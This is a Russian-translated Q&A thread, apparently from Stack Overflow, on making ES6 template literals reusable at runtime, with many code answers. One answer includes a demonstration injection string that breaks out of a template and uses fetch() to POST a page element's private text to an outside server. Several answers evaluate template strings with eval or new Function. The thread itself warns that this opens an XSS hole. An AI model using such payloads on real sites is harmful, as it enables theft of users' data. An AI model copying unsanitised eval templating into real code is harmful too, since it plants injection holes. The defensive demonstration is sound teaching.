Подтвердить что ты не робот

Можно ли заменить литералы шаблонов ES6 во время выполнения (или повторно использовать)?

tl; dr: возможно ли сделать шаблон многоразового использования буквальным?

Я пытался использовать шаблонные литералы, но я думаю, что я просто не понимаю, и теперь я расстраиваюсь. Я имею в виду, я думаю, что я понимаю, но "это" не должно быть, как это работает, или как это должно получиться. Это должно получиться по-другому.

Все примеры, которые я вижу (даже помеченные шаблоны), требуют, чтобы "замены" выполнялись во время объявления, а не во время выполнения, что мне кажется совершенно бесполезным для шаблона. Может быть, я сумасшедший, но "шаблон" для меня - это документ, который содержит токены, которые подставляются при его использовании, а не при его создании, в противном случае это просто документ (т.е. строка). Шаблон хранится с токенами как токены, и эти токены оцениваются, когда вы... оцениваете его.

Все приводят ужасный пример, похожий на:

var a = 'asd';
return 'Worthless ${a}!'

Это хорошо, но если я уже знаю, я бы просто a return 'Worthless asd' или return 'Worthless '+a. Какой смысл? Шутки в сторону. Хорошо, дело в лени; меньше плюсов, больше читаемости. Отлично. Но это не шаблон! Не имхо. И MHO это все, что имеет значение! Проблема, IMHO, в том, что шаблон оценивается, когда он объявлен, поэтому, если вы это сделаете, IMHO:

var tpl = 'My ${expletive} template';
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

Поскольку expletive не объявлен, он выводит что-то вроде My undefined template. Супер. На самом деле, по крайней мере в Chrome, я даже не могу объявить шаблон; он выдает ошибку, потому что expletive не определен. Что мне нужно, чтобы иметь возможность сделать замену после объявления шаблона:

var tpl = 'My ${expletive} template';
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

Однако я не понимаю, как это возможно, поскольку на самом деле это не шаблоны. Даже когда вы говорите, что я должен использовать теги, нет, они не работают:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete'My ${expletive} template'
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

Все это привело меня к мысли, что литералы шаблонов ужасно неправильно названы и должны называться так, как они есть на самом деле: heredocs. Я предполагаю, что "буквальная" часть должна была предупредить меня (как в неизменяемом)?

Я что-то пропустил? Есть ли (хороший) способ сделать многоразовый шаблон буквальным?


Я даю вам, многоразовые литералы шаблона:

> function out(t) { console.log(eval(t)); }
  var template = '\'This is
  my \${expletive} reusable
  template!\'';
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

А вот и наивная "вспомогательная" функция...

function t(t) { return '''+t.replace('{','${')+'''; }
var template = t('This is
my {expletive} reusable
template!');

... чтобы сделать это "лучше".

Я склонен называть их шаблонными геральвами из-за области, из которой они производят извращенные чувства.

4b9b3361

Ответ 1

Чтобы заставить эти литералы работать как другие механизмы шаблонов, необходима промежуточная форма.

Лучший способ сделать это - использовать конструктор Function.

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

Как и в других механизмах шаблонов, вы можете получить эту строку из других мест, таких как файл.

Могут возникнуть проблемы с использованием этого метода, такие как теги шаблонов, которые трудно использовать, но они могут быть добавлены, если вы умны. Вы также не можете иметь встроенную логику JavaScript из-за поздней интерполяции. Это также можно исправить с некоторой мыслью.

Ответ 2

Вы можете поместить строку шаблона в функцию:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

Вы можете сделать то же самое с шаблоном с тегами:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

Идея состоит в том, чтобы позволить парсеру шаблонов отделить константные строки от переменной "слоты", а затем вернуть функцию, которая каждый раз патчирует все вместе на основе нового набора значений.

Ответ 3

Возможно, самый чистый способ сделать это - со стрелочными функциями (потому что на данный момент мы уже используем ES6)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

... И для помеченных шаблонных литералов:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

Это также позволяет избежать использования eval() или Function(), что может вызвать проблемы с компиляторами и вызвать значительное замедление.

Ответ 4

Ответ 2019 года:

Примечание. Изначально библиотека ожидала, что пользователи очистят строки, чтобы избежать XSS. Версия 2 библиотеки больше не требует дезинфекции пользовательских строк (что в любом случае следует делать веб-разработчикам), поскольку она полностью избегает eval.

Модуль es6-dynamic-template на npm делает это.

const fillTemplate = require('es6-dynamic-template');

В отличие от текущих ответов:

  • Он использует строки шаблона ES6, а не похожий формат. Обновление версии 2 использует аналогичный формат, а не строки шаблонов ES6, чтобы запретить пользователям использовать неанизированные строки ввода.
  • Не нужно this в строке шаблона
  • Вы можете указать строку шаблона и переменные в одной функции
  • Это поддерживаемый, обновляемый модуль, а не copypasta от Qaru

Использование простое. используйте одинарные кавычки, так как строка шаблона будет решена позже!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

Ответ 5

Если вы не хотите использовать упорядоченные параметры или контекст/пространства имен для ссылки на переменные в вашем шаблоне, например, ${0}, ${this.something} или ${data.something}, вы можете использовать функцию шаблона, которая позаботится об определении объема для вас.

Пример того, как вы можете вызвать такой шаблон:

const tempGreet = Template(() => '
  <span>Hello, ${name}!</span>
');
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

Функция шаблона:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

Причудой в этом случае является то, что вам просто нужно передать функцию (в примере я использовал функцию стрелки), которая возвращает литерал шаблона ES6. Я думаю, что это небольшой компромисс, чтобы получить такую многоразовую интерполяцию, к которой мы стремимся.

Вот это на GitHub: https://github.com/Adelphos/ES6-Reuseable-Template

Ответ 6

Упрощение ответа, предоставленного @metamorphasi;

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return '"+templateString +"';")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);

Ответ 7

Да, вы можете сделать это, проанализировав вашу строку с шаблоном как JS с помощью Function (или eval) - но это не рекомендуется и разрешить XSS-атаку

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return '"+templateString +"';").call(templateVars);
}


function parseString() {
  // Example venomous string which will 'hack' fillTemplate function
  var hosting = "'+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||'''";

  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain); // evil string attack here

  console.log(result);

  alert('Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)');

}

window.parseString=parseString;
#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template 
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

Ответ 8

Это моя лучшая попытка:

var s = (item, price) => {return 'item: ${item}, price: $${price}'}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

Для обобщения:

var s = (<variable names you want>) => {return '<template with those variables>'}

Если вы не используете E6, вы также можете сделать:

var s = function(<variable names you want>){return '<template with those variables>'}

Это кажется немного более кратким, чем предыдущие ответы.

https://repl.it/@abalter/reusable-JS-template-literal

Ответ 9

В общем, я против использования evil eval(), но в этом случае имеет смысл:

var template = "'${a}.${b}'";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

Затем, если вы измените значения и снова вызовете eval(), вы получите новый результат:

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

Если вы хотите это в функции, то это можно записать так:

function populate(a, b){
  return '${a}.${b}';
}

Ответ 10

Если вы ищете что-то довольно простое (просто фиксированные переменные поля, без вычислений, условных выражений...), но это работает и на стороне клиента в браузерах без поддержки строк шаблона, таких как IE 8,9,10,11

вот так:

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}

Ответ 11

Я что-то пропустил? Есть ли [хороший] способ сделать шаблон многоразового использования буквальным?

Может быть, я что- то упускаю, потому что мое решение этой проблемы кажется мне настолько очевидным, что я очень удивлен, что никто не написал это уже в таком старом вопросе.

У меня есть почти один вкладыш для этого:

function defer([fisrt, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, fisrt);
}

Все это. Когда я хочу повторно использовать шаблон и отложить разрешение замен, я просто делаю:

> t = defer'My template is: ${null} and ${null}';
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer'Choose: ${'ignore'} / ${undefined}'(true, false); // 'Choose: true / false'

Применение этого тега возвращает 'function' (вместо 'string'), которая игнорирует любые параметры, передаваемые литералу. Затем он может быть вызван с новыми параметрами позже. Если параметр не имеет соответствующей замены, он становится 'undefined'.


Расширенный ответ

Этот простой код является функциональным, но если вам нужно более продуманное поведение, можно применить ту же логику и получить бесконечные возможности. Вы могли бы:

  1. Используйте оригинальные параметры:

    Вы можете сохранить исходные значения, переданные литералу в конструкции, и творчески использовать их при применении шаблона. Они могут стать флагами, валидаторами типов, функциями и т.д. Это пример, который использует их в качестве значений по умолчанию:

    function deferWithDefaults([fisrt, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, fisrt);
    }
    

    Затем:

    > t = deferWithDefaults'My template is: ${'extendable'} and ${'versatile'}';
    > t('awesome');                 // 'My template is: awesome and versatile' 
    
  2. Напишите шаблон фабрики:

    Сделайте это, обернув эту логику в функцию, которая ожидает в качестве аргумента пользовательскую функцию, которая может быть применена в сокращении (при объединении частей литерала шаблона) и возвращает новый шаблон с пользовательским поведением.

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };
    

    Тогда вы могли бы, например, написать шаблоны, которые автоматически экранируют или дезинфицируют параметры при написании встроенных html, css, sql, bash...

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? '"${name.replace(/"/g, '""')}"' : name);
      const quoteValue = value => (typeof value == 'string' ? ''${value.replace(/'/g, "''")}'' : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }
    
    const sql = createTemplate(sqlSanitize);
    

    С помощью этого наивного (я повторяю, наивного!) Шаблона sql мы могли бы строить запросы следующим образом:

    > q  = sql'INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});'
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // 'INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);'
    
  3. Примите именованные параметры для замены: не очень сложное упражнение, основанное на том, что уже было дано. В этом другом ответе есть реализация.

  4. Сделать обратный объект ведет себя как 'string': Ну, это спорно, но может привести к интересным результатам. Показанный в этом другом ответе.

  5. Разрешить параметры в глобальном пространстве имен на сайте вызова:

    Я даю вам, многоразовые литералы шаблона:

    Хорошо, это то, что показал OP, это его дополнение, использующее команду evil, я имею в виду, eval. Это может быть сделано без eval, просто путем поиска переданного имени переменной в глобальном (или оконном) объекте. Я не буду показывать, как это сделать, потому что мне это не нравится. Закрытия являются правильным выбором.

Ответ 12

Короткий ответ - просто используйте _.template в lodash

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'

Ответ 13

Вы можете использовать встроенную функцию стрелки, как это, Определение:

const template = (substitute: string) => '[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]';

использование:

console.log(template('my replaced string'));

Ответ 14

ОБНОВЛЕНО: следующий ответ ограничен именами отдельных переменных, поэтому такие шаблоны, как: 'Result ${a+b}', недопустимы для этого случая. Однако вы всегда можете поиграть со значениями шаблона:

format("This is a test: ${a_b}", {a_b: a+b});

ОРИГИНАЛЬНЫЙ ОТВЕТ:

Основано на предыдущих ответах, но создает более "дружественную" функцию полезности:

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function('return \'${tpl}\'');

    return tpl_func.call(params);
}

Вы можете использовать его так же, как:

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

И полученная строка должна быть:

'This is a test: Hola, second param: Hi'

Ответ 15

Простая функция полезности. Нет необходимости во внешней библиотеке.

/**
 * @param templateString the string with es6 style template such as "Hello my name is: ${name}"
 * @param params the params which is a key/value pair for the template.
 */
export const fillTemplate = (templateString: string, params: any): string => {
    let completedString = templateString
    Object.keys(params).forEach((eachKeyName) => {
        completedString = completedString.replace('${' + eachKeyName + '}', params[eachKeyName])
    })
    return completedString
}

Ответ 16

Я был раздражен дополнительной избыточностью, необходимой, чтобы напечатать this. каждый раз, так что я также добавил регулярное выражение для расширения переменных, как .a к this.a.

Решение:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

Используйте как таковой:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!

Ответ 17

Я просто публикую один пакет npm, который может просто выполнить эту работу. Глубоко вдохновлен этим ответом.

const Template = require('dynamic-template-string');

var tpl = new Template('hello ${name}');

tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

Его реализация смертельно проста. Желаю вам понравится.


module.exports = class Template {
  constructor(str) {
    this._func = new Function('with(this) { return \'${str}\'; }');
  }

  fill(data) {
    return this._func.call(data);
  }
}

Ответ 18

Основываясь на некоторых предыдущих ответах в этом потоке:

let templateStringToFunction = (tplStr) => (obj) => (new Function(`return \`${tplStr.replace(/\$\{(this\.)?/igm, '${this.')}\`;`)).call(obj);

const movie1 = {
    "title": "Gone with the Wind",
    "imdbId": "tt0031381",
    "release": {
        "date": {
            "year": 1939,
            "month": 11,
            "day": 28
        },
        "country": "USA",
    }
};

const movie2 = {
    "title": "It Happened One Night",
    "imdbId": "tt0025316",
    "release" : {
        "date":{
            "year": 1934,
            "month": 1,
            "day": 22

        },
        "country": "USA",
    }
};

// Defining the Template String
const movieStr=templateStringToFunction('Movie Title: "${title}" Released (${release.date.day}/${release.date.month}/${release.date.year}) in ${release.country}')

console.log(movieStr(movie1))
console.log(movieStr(movie2))